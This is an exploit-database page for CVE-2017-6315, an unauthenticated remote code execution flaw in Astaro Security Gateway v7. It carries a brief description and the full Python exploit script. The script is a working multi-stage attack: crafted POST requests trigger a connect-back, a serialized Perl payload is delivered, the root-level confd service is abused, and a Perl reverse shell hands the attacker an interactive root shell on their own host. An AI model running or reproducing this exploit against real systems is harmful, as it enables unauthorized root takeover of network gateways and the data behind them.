header-logo
Suggest Exploit
vendor:
Astaro Security Gateway
by:
Jakub Palaczynski and Maciej Grabiec
9,8
CVSS
CRITICAL
Unauthenticated Remote Code Execution
78
CWE
Product Name: Astaro Security Gateway
Affected Version From: 7.500
Affected Version To: 7.506
Patch Exists: YES
Related CWE: CVE-2017-6315
CPE: a:sophos:astaro_security_gateway
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2016

Astaro Security Gateway v7 – Unauthenticated Remote Code Execution

This exploit allows an unauthenticated attacker to execute arbitrary code on Astaro Security Gateway v7. It works by sending two requests to the vulnerable server. The first request clears the cache and the second request triggers a reverse connection to the attacker's machine. The attacker's machine then sends a Perl script to the vulnerable server which creates a socket and allows the attacker to execute arbitrary code.

Mitigation:

The vendor has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

#!/usr/bin/python

# Astaro Security Gateway v7 - Unauthenticated Remote Code Execution
# Exploit Authors: Jakub Palaczynski and Maciej Grabiec
# Tested on versions: 7.500 and 7.506
# Date: 13.12.2016
# Vendor Homepage: https://www.sophos.com/
# CVE: CVE-2017-6315

import socket
import sys
import os
import threading
import subprocess
import time

# print help or assign arguments
if len(sys.argv) != 3:
    sys.stderr.write("[-]Usage: python %s <our_ip> <remote_ip:port>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 192.168.1.1 192.168.1.2:4444\n" % sys.argv[0])
    sys.exit(1)

lhost = sys.argv[1] # our ip address
rhost = sys.argv[2] # ip address and port of vulnerable ASG v7

# for additional thread to send requests in parallel
class requests (threading.Thread):
    def run(self):
        print 'Sending requests to trigger vulnerability.'
        time.sleep(5)
        # first request to clear cache
        os.system('curl -s -m 5 -X POST https://' + rhost + '/index.plx -d \'{"objs": [{"FID": "init"}],"backend_address": "' + lhost + ':81"}\' -k > /dev/null')
        # second request to trigger reverse connection
        os.system('curl -s -m 20 -X POST https://' + rhost + '/index.plx -d \'{"objs": [{"FID": "init"}],"backend_address": "' + lhost + ':80"}\' -k > /dev/null')

# function that creates socket
def create_socket(port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', port))
    sock.listen(10)
    conn, addr = sock.accept()
    return sock, conn, addr

# function to receive data from socket
def receive(conn):
    sys.stdout.write(conn.recv(1024))
    sys.stdout.flush()
    sys.stdout.write(conn.recv(1024))
    sys.stdout.flush()

# Thanks to Agarri: http://www.agarri.fr/docs/PoC_thaw_perl58.pl
# This script creates serialized object that makes reverse connection and executes everything what it receives on a socket
file = """
#!/usr/bin/perl

use strict;
use MIME::Base64 qw( encode_base64 );
use Storable qw( nfreeze );
use LWP::UserAgent;

my $package_name = "A" x 252;
my $pack = qq~{ package $package_name; sub STORABLE_freeze { return 1; } }~;
eval($pack);

my $payload = qq~POSIX;eval('sleep(10);use IO::Socket::INET;\$r=IO::Socket::INET->new(\"""" + lhost + """:443");if (\$r) {eval(<\$r>);}');exit;~;

my $padding = length($package_name) - length($payload);
$payload = $payload . (";" x $padding);
my $data = bless { ignore => 'this' }, $package_name;
my $frozen = nfreeze($data);
$frozen =~ s/$package_name/$payload/g;
my $encodedSize = length($frozen);
my $pakiet = print(pack("N", $encodedSize), $frozen);
print "$frozen";
"""

# save file, run perl script and save our serialized payload
f = open("payload.pl", "w")
f.write(file)
f.close()

serialized = os.popen("perl ./payload.pl").read()
os.remove("./payload.pl")

# start thread that sends requests
thread = requests()
thread.start()

# open socket that receives connection from index
sock, conn, addr = create_socket(80)
print 'Received connection from: ' + addr[0] + ':' + str(addr[1]) + '.'
print 'Sending 1st stage payload.'
data = conn.recv(256)
# say hello to RPC client
conn.sendall(data)
data = conn.recv(256)
# send serialized object that initiates connect back connection and executes everything what it receives on a socket
conn.sendall(serialized)
sock.close()

# create second socket that receives connection from index and sends additional commands
sock, conn, addr = create_socket(443)
print 'Sending 2nd stage payload.'
# send commands that exploit confd (running with root permissions) which is running on localhost - the same exploitation as for first stage
conn.sendall('sleep(10);use IO::Socket::INET;my $s = new IO::Socket::INET(PeerHost => "127.0.0.1",PeerPort => "4472",Proto => "tcp");$s->send("\\x00\\x00\\x00\\x1d\\x05\\x06\\x02\\x00\\x00\\x00\\x04\\x0a\\x04\\x70\\x72\\x70\\x63\\x0a\\x04\\x30\\x2e\\x30\\x31\\x0a\\x06\\x73\\x79\\x73\\x74\\x65\\x6d\\x0a\\x00");my $a;$s->recv($a,1024);$s->send("' + "\\x" + "\\x".join("{:02x}".format(ord(c)) for c in serialized) + '");$s->recv($a,1024);$s->close();\n')
sock.close()

# create socket that receives connection from confd and sends commands to get reverse shell
sock, conn, addr = create_socket(443)
print 'Sending 3rd stage payload.'
# send reverse shell payload
conn.sendall('sleep(20);use Socket;$i="' + lhost + '";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\n')
sock.close()

# create socket to receive shell with root permissions
print '\nNow you need to wait for shell.'
sock, conn, addr = create_socket(443)
receive(conn)
while True:
    cmd = raw_input("")
    if cmd == 'exit':
        break
    else:
        conn.send(cmd + "\n")
        receive(conn)
sock.close()